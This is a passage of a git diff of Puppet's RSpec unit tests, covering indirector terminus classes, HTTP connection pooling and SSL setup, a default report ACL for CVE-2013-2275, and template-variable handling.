-      indirection = stub 'indirection', :is_a? => true, :register_terminus_type => nil
-      proc { @terminus_class.indirection = indirection }.should_not raise_error
-      @terminus_class.indirection.should equal(indirection)
-    end
+  it "should support a class-level model attribute" do
+    terminus_class.should respond_to(:model)
+  end
 
-    it "should look up indirection instances when only a name has been provided" do
-      indirection = mock 'indirection'
-      Puppet::Indirector::Indirection.expects(:instance).with(:myind).returns(indirection)
-      @terminus_class.indirection = :myind
-      @terminus_class.indirection.should equal(indirection)
-    end
+  it "should accept indirection instances as its indirection" do
+    # The test is that this shouldn't raise, and should preserve the object
+    # instance exactly, hence "equal", not just "==".
+    terminus_class.indirection = indirection
+    terminus_class.indirection.should equal indirection
+  end
 
-    it "should fail when provided a name that does not resolve to an indirection" do
-      Puppet::Indirector::Indirection.expects(:instance).with(:myind).returns(nil)
-      proc { @terminus_class.indirection = :myind }.should raise_error(ArgumentError)
+  it "should look up indirection instances when only a name has been provided" do
+    terminus_class.indirection = :abstract_concept
+    terminus_class.indirection.should equal indirection
+  end
 
-      # It shouldn't overwrite our existing one (or, more normally, it shouldn't set
-      # anything).
-      @terminus_class.indirection.should equal(@indirection)
-    end
+  it "should fail when provided a name that does not resolve to an indirection" do
+    expect {
+      terminus_class.indirection = :exploding_whales
+    }.to raise_error(ArgumentError, /Could not find indirection instance/)
+
+    # We should still have the default indirection.
+    terminus_class.indirection.should equal indirection
   end
 
-  describe Puppet::Indirector::Terminus, " when creating terminus classes" do
-    it "should associate the subclass with an indirection based on the subclass constant" do
-      @terminus.indirection.should equal(@indirection)
+  describe "when a terminus instance" do
+    it "should return the class's name as its name" do
+      terminus.name.should == :freedom
     end
 
-    it "should set the subclass's type to the abstract terminus name" do
-      @terminus.terminus_type.should == :abstract
+    it "should return the class's indirection as its indirection" do
+      terminus.indirection.should equal indirection
     end
 
-    it "should set the subclass's name to the indirection name" do
-      @terminus.name.should == :term_type
+    it "should set the instances's type to the abstract terminus type's name" do
+      terminus.terminus_type.should == :code
     end
 
-    it "should set the subclass's model to the indirection model" do
-      @indirection.expects(:model).returns :yay
-      @terminus.model.should == :yay
+    it "should set the instances's model to the indirection's model" do
+      terminus.model.should equal indirection.model
     end
   end
 
-  describe Puppet::Indirector::Terminus, " when a terminus instance" do
+  describe "when managing terminus classes" do
+    it "should provide a method for registering terminus classes" do
+      Puppet::Indirector::Terminus.should respond_to(:register_terminus_class)
+    end
 
-    it "should return the class's name as its name" do
-      @terminus.name.should == :term_type
+    it "should provide a method for returning terminus classes by name and type" do
+      terminus = stub 'terminus_type', :name => :abstract, :indirection_name => :whatever
+      Puppet::Indirector::Terminus.register_terminus_class(terminus)
+      Puppet::Indirector::Terminus.terminus_class(:whatever, :abstract).should equal(terminus)
     end
 
-    it "should return the class's indirection as its indirection" do
-      @terminus.indirection.should equal(@indirection)
+    it "should set up autoloading for any terminus class types requested" do
+      Puppet::Indirector::Terminus.expects(:instance_load).with(:test2, "puppet/indirector/test2")
+      Puppet::Indirector::Terminus.terminus_class(:test2, :whatever)
     end
 
-    it "should set the instances's type to the abstract terminus type's name" do
-      @terminus.terminus_type.should == :abstract
+    it "should load terminus classes that are not found" do
+      # Set up instance loading; it would normally happen automatically
+      Puppet::Indirector::Terminus.instance_load :test1, "puppet/indirector/test1"
+
+      Puppet::Indirector::Terminus.instance_loader(:test1).expects(:load).with(:yay)
+      Puppet::Indirector::Terminus.terminus_class(:test1, :yay)
     end
 
-    it "should set the instances's model to the indirection's model" do
-      @indirection.expects(:model).returns :yay
-      @terminus.model.should == :yay
+    it "should fail when no indirection can be found" do
+      Puppet::Indirector::Indirection.expects(:instance).with(:abstract_concept).returns(nil)
+      expect {
+        class Puppet::AbstractConcept::Physics < Puppet::Indirector::Code
+        end
+      }.to raise_error(ArgumentError, /Could not find indirection instance/)
     end
-  end
-end
 
-# LAK: This could reasonably be in the Indirection instances, too.  It doesn't make
-# a whole heckuva lot of difference, except that with the instance loading in
-# the Terminus base class, we have to have a check to see if we're already
-# instance-loading a given terminus class type.
-describe Puppet::Indirector::Terminus, " when managing terminus classes" do
-  it "should provide a method for registering terminus classes" do
-    Puppet::Indirector::Terminus.should respond_to(:register_terminus_class)
-  end
+    it "should register the terminus class with the terminus base class" do
+      Puppet::Indirector::Terminus.expects(:register_terminus_class).with do |type|
+        type.indirection_name == :abstract_concept and type.name == :intellect
+      end
 
-  it "should provide a method for returning terminus classes by name and type" do
-    terminus = stub 'terminus_type', :name => :abstract, :indirection_name => :whatever
-    Puppet::Indirector::Terminus.register_terminus_class(terminus)
-    Puppet::Indirector::Terminus.terminus_class(:whatever, :abstract).should equal(terminus)
+      begin
+        class Puppet::AbstractConcept::Intellect < Puppet::Indirector::Code
+        end
+      ensure
+        Puppet::AbstractConcept.send(:remove_const, :Intellect) rescue nil
+      end
+    end
   end
 
-  it "should set up autoloading for any terminus class types requested" do
-    Puppet::Indirector::Terminus.expects(:instance_load).with(:test2, "puppet/indirector/test2")
-    Puppet::Indirector::Terminus.terminus_class(:test2, :whatever)
-  end
+  describe "when parsing class constants for indirection and terminus names" do
+    before :each do
+      Puppet::Indirector::Terminus.stubs(:register_terminus_class)
+    end
 
-  it "should load terminus classes that are not found" do
-    # Set up instance loading; it would normally happen automatically
-    Puppet::Indirector::Terminus.instance_load :test1, "puppet/indirector/test1"
+    let :subclass do
+      subclass = mock 'subclass'
+      subclass.stubs(:to_s).returns("TestInd::OneTwo")
+      subclass.stubs(:mark_as_abstract_terminus)
+      subclass
+    end
 
-    Puppet::Indirector::Terminus.instance_loader(:test1).expects(:load).with(:yay)
-    Puppet::Indirector::Terminus.terminus_class(:test1, :yay)
-  end
+    it "should fail when anonymous classes are used" do
+      expect {
+        Puppet::Indirector::Terminus.inherited(Class.new)
+      }.to raise_error(Puppet::DevError, /Terminus subclasses must have associated constants/)
+    end
 
-  it "should fail when no indirection can be found" do
-    Puppet::Indirector::Indirection.expects(:instance).with(:my_indirection).returns(nil)
+    it "should use the last term in the constant for the terminus class name" do
+      subclass.expects(:name=).with(:one_two)
+      subclass.stubs(:indirection=)
+      Puppet::Indirector::Terminus.inherited(subclass)
+    end
 
-    @abstract_terminus = Class.new(Puppet::Indirector::Terminus) do
-      def self.to_s
-        "Abstract"
-      end
+    it "should convert the terminus name to a downcased symbol" do
+      subclass.expects(:name=).with(:one_two)
+      subclass.stubs(:indirection=)
+      Puppet::Indirector::Terminus.inherited(subclass)
     end
-    proc {
-      @terminus = Class.new(@abstract_terminus) do
-        def self.to_s
-          "MyIndirection::TestType"
-        end
-      end
-    }.should raise_error(ArgumentError)
-  end
 
-  it "should register the terminus class with the terminus base class" do
-    Puppet::Indirector::Terminus.expects(:register_terminus_class).with do |type|
-      type.indirection_name == :my_indirection and type.name == :test_terminus
+    it "should use the second to last term in the constant for the indirection name" do
+      subclass.expects(:indirection=).with(:test_ind)
+      subclass.stubs(:name=)
+      subclass.stubs(:terminus_type=)
+      Puppet::Indirector::Memory.inherited(subclass)
     end
-    @indirection = stub 'indirection', :name => :my_indirection, :register_terminus_type => nil
-    Puppet::Indirector::Indirection.expects(:instance).with(:my_indirection).returns(@indirection)
 
-    @abstract_terminus = Class.new(Puppet::Indirector::Terminus) do
-      def self.to_s
-        "Abstract"
-      end
+    it "should convert the indirection name to a downcased symbol" do
+      subclass.expects(:indirection=).with(:test_ind)
+      subclass.stubs(:name=)
+      subclass.stubs(:terminus_type=)
+      Puppet::Indirector::Memory.inherited(subclass)
     end
 
-    @terminus = Class.new(@abstract_terminus) do
-      def self.to_s
-        "MyIndirection::TestTerminus"
-      end
+    it "should convert camel case to lower case with underscores as word separators" do
+      subclass.expects(:name=).with(:one_two)
+      subclass.stubs(:indirection=)
+
+      Puppet::Indirector::Terminus.inherited(subclass)
     end
   end
-end
 
-describe Puppet::Indirector::Terminus, " when parsing class constants for indirection and terminus names" do
-  before do
-    @subclass = mock 'subclass'
-    @subclass.stubs(:to_s).returns("TestInd::OneTwo")
-    @subclass.stubs(:mark_as_abstract_terminus)
-    Puppet::Indirector::Terminus.stubs(:register_terminus_class)
-  end
+  describe "when creating terminus class types" do
+    before :all do
+      Puppet::Indirector::Terminus.stubs(:register_terminus_class)
 
-  it "should fail when anonymous classes are used" do
-    proc { Puppet::Indirector::Terminus.inherited(Class.new) }.should raise_error(Puppet::DevError)
-  end
+      class Puppet::Indirector::Terminus::TestTerminusType < Puppet::Indirector::Terminus
+      end
+    end
 
-  it "should use the last term in the constant for the terminus class name" do
-    @subclass.expects(:name=).with(:one_two)
-    @subclass.stubs(:indirection=)
-    Puppet::Indirector::Terminus.inherited(@subclass)
-  end
+    after :all do
+      Puppet::Indirector::Terminus.send(:remove_const, :TestTerminusType)
+    end
 
-  it "should convert the terminus name to a downcased symbol" do
-    @subclass.expects(:name=).with(:one_two)
-    @subclass.stubs(:indirection=)
-    Puppet::Indirector::Terminus.inherited(@subclass)
-  end
+    let :subclass do
+      Puppet::Indirector::Terminus::TestTerminusType
+    end
 
-  it "should use the second to last term in the constant for the indirection name" do
-    @subclass.expects(:indirection=).with(:test_ind)
-    @subclass.stubs(:name=)
-    @subclass.stubs(:terminus_type=)
-    Puppet::Indirector::Memory.inherited(@subclass)
-  end
+    it "should set the name of the abstract subclass to be its class constant" do
+      subclass.name.should == :test_terminus_type
+    end
+
+    it "should mark abstract terminus types as such" do
+      subclass.should be_abstract_terminus
+    end
 
-  it "should convert the indirection name to a downcased symbol" do
-    @subclass.expects(:indirection=).with(:test_ind)
-    @subclass.stubs(:name=)
-    @subclass.stubs(:terminus_type=)
-    Puppet::Indirector::Memory.inherited(@subclass)
+    it "should not allow instances of abstract subclasses to be created" do
+      expect { subclass.new }.to raise_error(Puppet::DevError)
+    end
   end
 
-  it "should convert camel case to lower case with underscores as word separators" do
-    @subclass.expects(:name=).with(:one_two)
-    @subclass.stubs(:indirection=)
+  describe "when validating a request" do
+    let :request do
+      Puppet::Indirector::Request.new(indirection.name, :find, "the_key", instance)
+    end
 
-    Puppet::Indirector::Terminus.inherited(@subclass)
-  end
-end
+    describe "`instance.name` does not match the key in the request" do
+      let(:instance) { model.new("wrong_key") }
 
-describe Puppet::Indirector::Terminus, " when creating terminus class types" do
-  before do
-    Puppet::Indirector::Terminus.stubs(:register_terminus_class)
-    @subclass = Class.new(Puppet::Indirector::Terminus) do
-      def self.to_s
-        "Puppet::Indirector::Terminus::MyTermType"
+      it "raises an error " do
+        expect {
+          terminus.validate(request)
+        }.to raise_error(
+          Puppet::Indirector::ValidationError,
+          /Instance name .* does not match requested key/
+        )
       end
     end
-  end
 
-  it "should set the name of the abstract subclass to be its class constant" do
-    @subclass.name.should equal(:my_term_type)
-  end
+    describe "`instance` is not an instance of the model class" do
+      let(:instance) { mock "instance" }
 
-  it "should mark abstract terminus types as such" do
-    @subclass.should be_abstract_terminus
-  end
+      it "raises an error" do
+        expect {
+          terminus.validate(request)
+        }.to raise_error(
+          Puppet::Indirector::ValidationError,
+          /Invalid instance type/
+        )
+      end
+    end
 
-  it "should not allow instances of abstract subclasses to be created" do
-    proc { @subclass.new }.should raise_error(Puppet::DevError)
+    describe "the instance key and class match the request key and model class" do
+      let(:instance) { model.new("the_key") }
+
+      it "passes" do
+        terminus.validate(request)
+      end
+    end
   end
 end
-
diff --git a/spec/unit/network/http/handler_spec.rb b/spec/unit/network/http/handler_spec.rb
index 68c7b9a..7c79854 100755
--- a/spec/unit/network/http/handler_spec.rb
+++ b/spec/unit/network/http/handler_spec.rb
@@ -417,6 +417,7 @@ describe Puppet::Network::HTTP::Handler do
 
         @model_instance = stub('indirected model instance', :save => true)
         @model_class.stubs(:convert_from).returns(@model_instance)
+        @model_class.stubs(:===).with(@model_instance).returns(true)
 
         @format = stub 'format', :suitable? => true, :name => "format", :mime => "text/format"
         Puppet::Network::FormatHandler.stubs(:format).returns @format
diff --git a/spec/unit/network/http/rack/rest_spec.rb b/spec/unit/network/http/rack/rest_spec.rb
index 3eed4a2..1e69711 100755
--- a/spec/unit/network/http/rack/rest_spec.rb
+++ b/spec/unit/network/http/rack/rest_spec.rb
@@ -92,6 +92,23 @@ describe "Puppet::Network::HTTP::RackREST", :if => Puppet.features.rack? do
           @handler.set_response(@response, @file, 200)
         end
       end
+
+      it "should ensure the body has been read on success" do
+        req = mk_req('/production/report/foo', :method => 'PUT')
+        req.body.expects(:read).at_least_once
+
+        Puppet::Transaction::Report.stubs(:save)
+
+        @handler.process(req, @response)
+      end
+
+      it "should ensure the body has been partially read on failure" do
+        req = mk_req('/production/report/foo')
+        req.body.expects(:read).with(1)
+        req.stubs(:check_authorization).raises(Exception)
+
+        @handler.process(req, @response)
+      end
     end
 
     describe "and determining the request parameters" do
diff --git a/spec/unit/network/http/webrick_spec.rb b/spec/unit/network/http/webrick_spec.rb
index 8e7c92b..003bbd2 100755
--- a/spec/unit/network/http/webrick_spec.rb
+++ b/spec/unit/network/http/webrick_spec.rb
@@ -320,6 +320,10 @@ describe Puppet::Network::HTTP::WEBrick do
       @server.setup_ssl[:SSLEnable].should be_true
     end
 
+    it "should reject SSLv2" do
+      @server.setup_ssl[:SSLOptions].should == OpenSSL::SSL::OP_NO_SSLv2
+    end
+
     it "should configure the verification method as 'OpenSSL::SSL::VERIFY_PEER'" do
       @server.setup_ssl[:SSLVerifyClient].should == OpenSSL::SSL::VERIFY_PEER
     end
diff --git a/spec/unit/network/http_pool_spec.rb b/spec/unit/network/http_pool_spec.rb
index 8fa7de8..c16df7d 100755
--- a/spec/unit/network/http_pool_spec.rb
+++ b/spec/unit/network/http_pool_spec.rb
@@ -24,38 +24,34 @@ describe Puppet::Network::HttpPool do
   end
 
   describe "when managing http instances" do
-    def stub_settings(settings)
-      settings.each do |param, value|
-        Puppet.settings.stubs(:value).with(param).returns(value)
-      end
-    end
-
-    before do
+    before :each do
       # All of the cert stuff is tested elsewhere
       Puppet::Network::HttpPool.stubs(:cert_setup)
     end
 
     it "should return an http instance created with the passed host and port" do
-      http = stub 'http', :use_ssl= => nil, :read_timeout= => nil, :open_timeout= => nil, :started? => false
-      Net::HTTP.expects(:new).with("me", 54321, nil, nil).returns(http)
-      Puppet::Network::HttpPool.http_instance("me", 54321).should equal(http)
+      http = Puppet::Network::HttpPool.http_instance("me", 54321)
+      http.should be_an_instance_of Net::HTTP
+      http.address.should == 'me'
+      http.port.should    == 54321
     end
 
     it "should enable ssl on the http instance" do
-      Puppet::Network::HttpPool.http_instance("me", 54321).instance_variable_get("@use_ssl").should be_true
+      Puppet::Network::HttpPool.http_instance("me", 54321).should be_use_ssl
     end
 
-    it "should set the read timeout" do
-      Puppet::Network::HttpPool.http_instance("me", 54321).read_timeout.should == 120
-    end
-
-    it "should set the open timeout" do
-      Puppet::Network::HttpPool.http_instance("me", 54321).open_timeout.should == 120
+    context "proxy and timeout settings should propagate" do
+      subject { Puppet::Network::HttpPool.http_instance("me", 54321) }
+      before :each do
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout]   = 120
+      end
     end
 
-    it "should create the http instance with the proxy host and port set if the http_proxy is not set to 'none'" do
-      stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
-      Puppet::Network::HttpPool.http_instance("me", 54321).open_timeout.should == 120
+    it "should not set a proxy if the value is 'none'" do
+      Puppet[:http_proxy_host] = 'none'
+      Puppet::Network::HttpPool.http_instance("me", 54321).proxy_address.should be_nil
     end
 
     describe "and http keep-alive is enabled" do
@@ -64,19 +60,24 @@ describe Puppet::Network::HttpPool do
       end
 
       it "should cache http instances" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
         Puppet::Network::HttpPool.http_instance("me", 54321).should equal(old)
       end
 
       it "should have a mechanism for getting a new http instance instead of the cached instance" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
+
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
         Puppet::Network::HttpPool.http_instance("me", 54321, true).should_not equal(old)
       end
 
       it "should close existing, open connections when requesting a new connection" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
+
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
         old.expects(:started?).returns(true)
         old.expects(:finish)
@@ -84,7 +85,9 @@ describe Puppet::Network::HttpPool do
       end
 
       it "should have a mechanism for clearing the http cache" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
         Puppet::Network::HttpPool.http_instance("me", 54321).should equal(old)
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
@@ -93,7 +96,9 @@ describe Puppet::Network::HttpPool do
       end
 
       it "should close open http connections when clearing the cache" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
         one = Puppet::Network::HttpPool.http_instance("me", 54321)
         one.expects(:started?).returns(true)
         one.expects(:finish).returns(true)
@@ -101,7 +106,9 @@ describe Puppet::Network::HttpPool do
       end
 
       it "should not close unopened http connections when clearing the cache" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
         one = Puppet::Network::HttpPool.http_instance("me", 54321)
         one.expects(:started?).returns(false)
         one.expects(:finish).never
@@ -115,7 +122,9 @@ describe Puppet::Network::HttpPool do
       end
 
       it "should not cache http instances" do
-        stub_settings :http_proxy_host => "myhost", :http_proxy_port => 432, :configtimeout => 120
+        Puppet[:http_proxy_host] = "myhost"
+        Puppet[:http_proxy_port] = 432
+        Puppet[:configtimeout] = 120
         old = Puppet::Network::HttpPool.http_instance("me", 54321)
         Puppet::Network::HttpPool.http_instance("me", 54321).should_not equal(old)
       end
@@ -126,81 +135,85 @@ describe Puppet::Network::HttpPool do
     end
   end
 
-  describe "when adding certificate information to http instances" do
-    before do
-      @http = mock 'http'
-      [:cert_store=, :verify_mode=, :ca_file=, :cert=, :key=].each { |m| @http.stubs(m) }
-      @store = stub 'store'
-
-      @cert = stub 'cert', :content => "real_cert"
-      @key = stub 'key', :content => "real_key"
-      @host = stub 'host', :certificate => @cert, :key => @key, :ssl_store => @store
-
-      Puppet[:confdir] = "/sometthing/else"
-      Puppet.settings.stubs(:value).returns "/some/file"
-      Puppet.settings.stubs(:value).with(:hostcert).returns "/host/cert"
-      Puppet.settings.stubs(:value).with(:localcacert).returns "/local/ca/cert"
-
-      FileTest.stubs(:exist?).with("/host/cert").returns true
-      FileTest.stubs(:exist?).with("/local/ca/cert").returns true
-
-      Puppet::Network::HttpPool.stubs(:ssl_host).returns @host
-    end
-
-    after do
-      Puppet.settings.clear
+  describe "when doing SSL setup for http instances" do
+    let :http do
+      http = Net::HTTP.new('localhost', 443)
+      http.use_ssl = true
+      http
     end
 
-    it "should do nothing if no host certificate is on disk" do
-      FileTest.expects(:exist?).with("/host/cert").returns false
-      @http.expects(:cert=).never
-      Puppet::Network::HttpPool.cert_setup(@http)
-    end
+    let :store do stub('store') end
 
-    it "should do nothing if no local certificate is on disk" do
-      FileTest.expects(:exist?).with("/local/ca/cert").returns false
-      @http.expects(:cert=).never
-      Puppet::Network::HttpPool.cert_setup(@http)
+    before :each do
+      Puppet[:hostcert]    = '/host/cert'
+      Puppet[:localcacert] = '/local/ca/cert'
+      cert  = stub 'cert', :content => 'real_cert'
+      key   = stub 'key',  :content => 'real_key'
+      host  = stub 'host', :certificate => cert, :key => key, :ssl_store => store
+      Puppet::Network::HttpPool.stubs(:ssl_host).returns(host)
     end
 
-    it "should add a certificate store from the ssl host" do
-      @http.expects(:cert_store=).with(@store)
+    shared_examples "HTTPS setup without all certificates" do
+      subject { Puppet::Network::HttpPool.cert_setup(http); http }
 
-      Puppet::Network::HttpPool.cert_setup(@http)
+      it                { should be_use_ssl }
+      its(:cert)        { should be_nil }
+      its(:ca_file)     { should be_nil }
+      its(:key)         { should be_nil }
+      its(:verify_mode) { should == OpenSSL::SSL::VERIFY_NONE }
     end
 
-    it "should add the client certificate" do
-      @http.expects(:cert=).with("real_cert")
+    context "with neither a host cert or a local CA cert" do
+      before :each do
+        FileTest.stubs(:exist?).with(Puppet[:hostcert]).returns(false)
+        FileTest.stubs(:exist?).with(Puppet[:localcacert]).returns(false)
+      end
 
-      Puppet::Network::HttpPool.cert_setup(@http)
+      include_examples "HTTPS setup without all certificates"
     end
 
-    it "should add the client key" do
-      @http.expects(:key=).with("real_key")
+    context "with there is no host certificate" do
+      before :each do
+        FileTest.stubs(:exist?).with(Puppet[:hostcert]).returns(false)
+        FileTest.stubs(:exist?).with(Puppet[:localcacert]).returns(true)
+      end
 
-      Puppet::Network::HttpPool.cert_setup(@http)
+      include_examples "HTTPS setup without all certificates"
     end
 
-    it "should set the verify mode to OpenSSL::SSL::VERIFY_PEER" do
-      @http.expects(:verify_mode=).with(OpenSSL::SSL::VERIFY_PEER)
+    context "with there is no local CA certificate" do
+      before :each do
+        FileTest.stubs(:exist?).with(Puppet[:hostcert]).returns(true)
+        FileTest.stubs(:exist?).with(Puppet[:localcacert]).returns(false)
+      end
 
-      Puppet::Network::HttpPool.cert_setup(@http)
+      include_examples "HTTPS setup without all certificates"
     end
 
-    it "should set the ca file" do
-      Puppet.settings.stubs(:value).returns "/some/file"
-      FileTest.stubs(:exist?).with(Puppet[:hostcert]).returns true
+    context "with both the host and CA cert" do
+      subject { Puppet::Network::HttpPool.cert_setup(http); http }
 
-      Puppet.settings.stubs(:value).with(:localcacert).returns "/ca/cert/file"
-      FileTest.stubs(:exist?).with("/ca/cert/file").returns true
-      @http.expects(:ca_file=).with("/ca/cert/file")
+      before :each do
+        FileTest.expects(:exist?).with(Puppet[:hostcert]).returns(true)
+        FileTest.expects(:exist?).with(Puppet[:localcacert]).returns(true)
+      end
 
-      Puppet::Network::HttpPool.cert_setup(@http)
+      it                { should be_use_ssl }
+      its(:cert_store)  { should equal store }
+      its(:cert)        { should == "real_cert" }
+      its(:key)         { should == "real_key" }
+      its(:verify_mode) { should == OpenSSL::SSL::VERIFY_PEER }
+      its(:ca_file)     { should == Puppet[:localcacert] }
     end
 
     it "should set up certificate information when creating http instances" do
-      Puppet::Network::HttpPool.expects(:cert_setup).with { |i| i.is_a?(Net::HTTP) }
-      Puppet::Network::HttpPool.http_instance("one", "two")
+      Puppet::Network::HttpPool.expects(:cert_setup).with do |http|
+        http.should be_an_instance_of Net::HTTP
+        http.address.should == "one"
+        http.port.should == 2
+      end
+
+      Puppet::Network::HttpPool.http_instance("one", 2)
     end
   end
 end
diff --git a/spec/unit/network/rest_authconfig_spec.rb b/spec/unit/network/rest_authconfig_spec.rb
index d629f86..a1bc465 100755
--- a/spec/unit/network/rest_authconfig_spec.rb
+++ b/spec/unit/network/rest_authconfig_spec.rb
@@ -12,7 +12,7 @@ describe Puppet::Network::RestAuthConfig do
     # to fileserver.conf
     { :acl => "/file" },
     { :acl => "/certificate_revocation_list/ca", :method => :find, :authenticated => true },
-    { :acl => "/report", :method => :save, :authenticated => true },
+    { :acl => "~ ^\/report\/([^\/]+)$", :method => :save, :allow => '$1', :authenticated => true },
     { :acl => "/certificate/ca", :method => :find, :authenticated => false },
     { :acl => "/certificate/", :method => :find, :authenticated => false },
     { :acl => "/certificate_request", :method => [:find, :save], :authenticated => false },
@@ -104,7 +104,22 @@ describe Puppet::Network::RestAuthConfig do
     end
   end
 
+  it '(CVE-2013-2275) allows report submission only for the node matching the certname by default' do
+    acl = {
+      :acl => "~ ^\/report\/([^\/]+)$",
+      :method => :save,
+      :allow => '$1',
+      :authenticated => true
+    }
+    @authconfig.stubs(:mk_acl)
+    @authconfig.expects(:mk_acl).with(acl)
+    @authconfig.insert_default_acl
+  end
+
   it "should create default ACL entries if no file have been read" do
+    # The singleton instance is stored as an instance variable we don't have
+    # access to, so.. instance_variable_set. Alas.
+    Puppet::Network::RestAuthConfig.instance_variable_set(:@main, nil)
     Puppet::Network::RestAuthConfig.any_instance.stubs(:exists?).returns(false)
 
     Puppet::Network::RestAuthConfig.any_instance.expects(:insert_default_acl)
@@ -141,7 +156,5 @@ describe Puppet::Network::RestAuthConfig do
 
       @authconfig.insert_default_acl
     end
-
   end
-
 end
diff --git a/spec/unit/parser/functions/inline_template_spec.rb b/spec/unit/parser/functions/inline_template_spec.rb
index 62f389e..1ab5b08 100755
--- a/spec/unit/parser/functions/inline_template_spec.rb
+++ b/spec/unit/parser/functions/inline_template_spec.rb
@@ -56,4 +56,17 @@ describe "the inline_template function" do
     lambda { @scope.function_inline_template("1") }.should raise_error(Puppet::ParseError)
   end
 
-end
\ No newline at end of file
+  it "is not interfered with by a variable called 'string' (#14093)" do
+    @scope.setvar("string", "this is a variable")
+    inline_template("this is a template").should == "this is a template"
+  end
+
+  it "has access to a variable called 'string' (#14093)" do
+    @scope.setvar('string', "this is a variable")
+    inline_template("string was: <%= @string %>").should == "string was: this is a variable"
+  end
+
+  def inline_template(*templates)
+    @scope.function_inline_template(templates)
+  end
+end
diff --git a/spec/unit/parser/functions/template_spec.rb b/spec/unit/parser/functions/template_spec.rb
index 096b059..0951682 100755
--- a/spec/unit/parser/functions/template_spec.rb
+++ b/spec/unit/parser/functions/template_spec.rb
@@ -51,6 +51,16 @@ describe "the template function" do
     @scope.function_template(["1","2"]).should == "result1result2"
   end
 
+  it "is not interfered with by having a variable named 'string' (#14093)" do
+    @scope.setvar('string', "this output should not be seen")
+    eval_template("some text that is static").should == "some text that is static"
+  end
+
+  it "has access to a variable named 'string' (#14093)" do
+    @scope.setvar('string', "the string value")
+    eval_template("string was: <%= @string %>").should == "string was: the string value"
+  end
+
   it "should raise an error if the template raises an error" do
     tw = stub_everything 'template_wrapper'
     Puppet::Parser::TemplateWrapper.stubs(:new).returns(tw)
@@ -59,4 +69,11 @@ describe "the template function" do
     lambda { @scope.function_template("1") }.should raise_error(Puppet::ParseError)
   end
 
-end
\ No newline at end of file
+  def eval_template(content)
+    File.stubs(:read).with("template").returns(content)
+    Puppet::Parser::Files.stubs(:find_template).returns("template")
+    env = Puppet::Node::Environment.new('production')
+    @scope.compiler = stub('compiler', :environment => env)
+    @scope.function_template(['template'])
+  end
+end
diff --git a/spec/unit/parser/templatewrapper_spec.rb b/spec/unit/parser/templatewrapper_spec.rb
index 68d90a1..7b4cb07 100755
--- a/spec/unit/parser/templatewrapper_spec.rb
+++ b/spec/unit/parser/templatewrapper_spec.rb
@@ -25,16 +25,14 @@ describe Puppet::Parser::TemplateWrapper do
 
   it "should check template file existance and read its content" do
     Puppet::Parser::Files.expects(:find_template).with("fake_template", @scope.environment.to_s).returns("/tmp/fake_template")
-    File.expects(:read).with("/tmp/fake_template").returns("template content")
 
     @tw.file = @file
   end
 
   it "should mark the file for watching" do
-    Puppet::Parser::Files.expects(:find_template).returns("/tmp/fake_template")
-    File.stubs(:read)
+    full_file_name = given_a_template_file("fake_template", "content")
 
-    @known_resource_types.expects(:watch_file).with("/tmp/fake_template")
+    @known_resource_types.expects(:watch_file).with(full_file_name)
     @tw.file = @file
   end
 
@@ -54,7 +52,7 @@ describe Puppet::Parser::TemplateWrapper do
   end
 
   it "should return the processed template contents with a call to result" do
-    template_mock = mock("template", :result => "woot!")
+    template_mock = mock("template", :result => "woot!", :filename= => nil)
     File.expects(:read).with("/tmp/fake_template").returns("template contents")
     ERB.expects(:new).with("template contents", 0, "-").returns(template_mock)
 
@@ -62,8 +60,15 @@ describe Puppet::Parser::TemplateWrapper do
     @tw.result.should eql("woot!")
   end
 
+  it "provides access to the name of the template via #file" do
+    full_file_name = given_a_template_file("fake_template", "<%= file %>")
+
+    @tw.file = "fake_template"
+    @tw.result.should == full_file_name
+  end
+
   it "should return the processed template contents with a call to result and a string" do
-    template_mock = mock("template", :result => "woot!")
+    template_mock = mock("template", :result => "woot!", :filename= => nil)
     ERB.expects(:new).with("template contents", 0, "-").returns(template_mock)
 
     @tw.result("template contents").should eql("woot!")
@@ -114,7 +119,7 @@ describe Puppet::Parser::TemplateWrapper do
   end
 
   it "should set all of the scope's variables as instance variables" do
-    template_mock = mock("template", :result => "woot!")
+    template_mock = mock("template", :result => "woot!", :filename= => nil)
     ERB.expects(:new).with("template contents", 0, "-").returns(template_mock)
 
     @scope.expects(:to_hash).returns("one" => "foo")
@@ -124,7 +129,7 @@ describe Puppet::Parser::TemplateWrapper do
   end
 
   it "should not error out if one of the variables is a symbol" do
-    template_mock = mock("template", :result => "woot!")
+    template_mock = mock("template", :result => "woot!", :filename= => nil)
     ERB.expects(:new).with("template contents", 0, "-").returns(template_mock)
 
     @scope.expects(:to_hash).returns(:_timestamp => "1234")
@@ -133,7 +138,7 @@ describe Puppet::Parser::TemplateWrapper do
 
   %w{! . ; :}.each do |badchar|
     it "should translate #{badchar} to _ when setting the instance variables" do
-    template_mock = mock("template", :result => "woot!")
+    template_mock = mock("template", :result => "woot!", :filename= => nil)
     ERB.expects(:new).with("template contents", 0, "-").returns(template_mock)
 
     @scope.expects(:to_hash).returns("one#{badchar}" => "foo")
@@ -142,4 +147,14 @@ describe Puppet::Parser::TemplateWrapper do
